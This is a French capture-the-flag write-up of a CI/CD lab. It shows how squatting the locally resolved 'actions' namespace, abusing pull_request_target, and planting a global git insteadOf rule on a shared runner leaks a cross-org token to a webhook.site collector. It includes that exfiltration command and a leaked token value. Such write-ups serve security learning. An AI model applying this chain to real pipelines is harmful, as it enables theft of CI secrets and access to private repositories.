URL du lab (indicatif, l'instance peut être éteinte) : http://34.155.191.36:32783
Énoncé
DevForge Inc. just open-sourced their flagship project on their self-hosted Git platform. Their CI/CD pipeline is fully automated and state of the art, or so they claim. Sometimes the walls between public and private aren't as solid as they seem.
Traduction libre : tout est automatisé, sauf la frontière public / privé, qui finit par couler un peu partout.
Reconnaissance
En farfouillant les dépôts publics, deux noms reviennent tout de suite : opendev/webapp et opendev/ci-actions. Dans ci-actions, un workflow tourne en pull_request_target, récupère le secret CROSS_ORG_TOKEN, et clone à la fois opendev/webapp et secureops/infrastructure. Ce dernier est privé : c'est clairement là que le challenge veut qu'on aille.
Extrait : opendev/ci-actions
name: Sync Dependents
on:
pull_request_target:
types: [opened, synchronize]
push:
branches: [main]
jobs:
sync:
runs-on: ubuntu-latest
steps:
- name: Trigger dependent builds
env:
DISPATCH_TOKEN: ${{ secrets.CROSS_ORG_TOKEN }}
run: |
REPOS=(
"opendev/webapp"
"secureops/infrastructure"
)
for repo in "${REPOS[@]}"; do
git clone "http://ci-bot:${DISPATCH_TOKEN}@localhost/${repo}.git" "$WORKDIR"
# ...
doneRésolution locale des actions
Les logs des runs publics m'ont fait tiquer : le runner ne va pas chercher GitHub, il résout actions/checkout@v4 et actions/setup-node@v4 en local, vers http://localhost/actions/.... Tant que l'inscription est ouverte, rien n'empêche de créer un utilisateur / org actions et de publier ses propres dépôts checkout et setup-node.
Résultat
git clone 'http://localhost/actions/checkout' # ref=v4
Unable to clone http://localhost/actions/checkout refs/heads/v4: repository not foundChaîne d'exploitation
Voici comment j'ai enchaîné, en gros. Ce n'est pas linéaire sur le moment, mais une fois le schéma en tête ça tient debout.
- Je crée le compte actions et les dépôts actions/checkout et actions/setup-node avec une branche
v4(le faux setup-node peut rester minimal). - Le faux checkout fait le vrai travail : cloner avec le token injecté, exfiltrer ce qui m'intéresse, et surtout laisser une config Git globale sur le runner pour l'étape suivante.
- Plutôt que de me battre avec les PR fork sur webapp (approbation manuelle), je fork opendev/ci-actions et j'ouvre une PR :
pull_request_targets'exécute avec les secrets du dépôt cible, pas avec ceux de mon fork. - Le job sync-dependents pousse sur webapp et infrastructure, ce qui déclenche les workflows push de webapp… qui passent par mes faux actions/*.
Résultat
GITHUB_REPOSITORY=opendev/webapp
GITHUB_ACTOR=devforge-admin
INPUT_TOKEN=b5d8f9acc3fdf3ebd7f12b33e2030ee0f92939d2Pivot : Git insteadOf sur runner partagé
Le token récupéré côté webapp ne m'ouvre pas directement secureops/infrastructure. Le vrai pivot, c'est le runner partagé : la config Git globale posée pendant un run public survit aux jobs suivants. J'ajoute une règle du type url."https://…".insteadOf "http://ci-bot:": au prochain git clone du job sync-dependents, Git réécrit l'URL vers mon collecteur HTTP, et le token CROSS_ORG_TOKEN se retrouve en clair dans la requête.
Règle Git globale (schéma)
git config --global url."https://webhook.site/<TOKEN>/".insteadOf "http://ci-bot:"Résultat
https://webhook.site/<collector>/<CROSS_ORG_TOKEN>@localhost/secureops/infrastructure.git/HEADUne fois le bon token en poche, je clone secureops/infrastructure et je vais lire config/production.env. Le flag est au bout du fichier (voir le bloc masqué plus bas).
Clone (schéma)
git clone "http://x-access-token:<TOKEN>@34.155.191.36:32783/secureops/infrastructure.git"Résultat
config/production.env
config/staging.env
config/development.env
scripts/deploy.sh
.gitea/workflows/deploy.ymlconfig/production.env (sans la valeur du flag)
# Deployment verification token
FLAG=(voir bloc de dévoilement ci-dessous)Flag
Résultat
••••••••••••••••••••••••••••••••Cliquer pour afficherCe que j'en retiens
- Un namespace actions libre + résolution locale, ça transforme des workflows banals en exécution de code de n'importe qui.
pull_request_targetdepuis un fork sur ci-actions, c'est le déclencheur qui voit les bons secrets.- Les faux checkout / setup-node donnent la main sur l'environnement du job public.
- Runner partagé qui persiste : une fois une règle Git globale posée, le prochain pipeline privé peut me livrer CROSS_ORG_TOKEN sur un plateau.
- Fin de parcours : dépôt secureops/infrastructure, production.env, flag.